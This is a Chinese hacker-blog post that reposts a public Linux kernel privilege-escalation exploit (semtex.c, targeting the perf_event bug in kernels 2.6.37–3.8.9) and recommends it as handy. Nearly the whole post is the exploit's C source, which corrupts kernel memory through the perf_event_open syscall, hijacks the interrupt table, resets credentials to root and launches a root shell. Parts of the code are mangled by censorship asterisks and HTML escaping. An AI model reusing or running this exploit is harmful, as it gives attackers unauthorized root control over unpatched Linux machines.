国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞

hacker4年前黑客文章1091

国外黑客发现Linux 内核2.6.37-3.8.9版本一个漏洞,成功利用该漏洞可能获得特权用户,还算新鲜,转来给大家看看。比较好用的~


http:// *** sheep.org/~sd/warez/semtex.c

linux 2.6.37-3.x.x x86_64, ~100 LOC

 

/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 sd@ *** sheep.org, salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */
 
#define _GNU_SOURCE 1
#include <stdint .h>
#include <stdio .h>
#include <stdlib .h>
#include <string .h>
#include <unistd .h>
#include <sys /mman.h>
#include <syscall .h>
#include <stdint .h>
#include <assert .h>
 
#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL< &lt;32)^((uint64_t)((x)*313337))))
 
void *** () {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;
 
for (i=0; i&lt;4000; i+=4) {
uint64_t *p = (void *)&current[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j&lt;20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}
 
void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}
 
int main() {
uint64_t  u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i<SIZE/4);
a *** ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, & *** , 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\nsd@ *** sheep.org 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<&lt;32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
a *** ("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
标签: 黑客技术

相关文章

DumpSec是完全免费的吗?

DumpSec是完全免费的吗?

什么叫DumpSec? Dumpsec是为Microst Windows建立的安全性程序流程。它能够 转储系统文件,复印机,注册表文件的DACL和SACL,并以详尽和可写的文件格式共享资源它。它还能...

Nexpose免费下载

Nexpose免费下载

近期在科学研究Metasploit,发觉Metasploit集成化了Nexpose,因为在网上各种各样材料很乱,我是搜索了很长期才历经分类整理共享给大伙儿;   Rapid7 Nexpos...

Thinkphp框架任意代码执行漏洞利用及修复

ThinkPHP是一个开源的PHP框架, 是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循 Apache...

侧门和木马病毒有什么不同?

侧门和木马病毒有什么不同?

侧门和木马病毒有什么不同? 我觉得严苛实际意义沒有差别的,微小的区别是有的。有一个微小区别先讲一下,这两个词出去早中晚不一样。老一代网络黑客,不屑黑本人设备(那时候本人机网速太慢),觉得网络服务器才...

NetScanTools是不是完全免费?

NetScanTools是不是完全免费?

什么叫NetScanTools? NetScanTools是一个计算机管理员会发觉非常有效的不一样的五脏专用工具的结合。互联网工具箱的范畴适用电子信息工程,网络信息安全,网络安全管理,在线培训或稽查...

dSniff的典型性主要用途是啥?

dSniff的典型性主要用途是啥?

什么叫dSniff? dSniff是由Dug Song建立的数据流量剖析和登陆密码嗅探工具,用以分析各种各样运用协议书并获取有关数据信息。dsniff,mailsnarf,filesnarf,msg...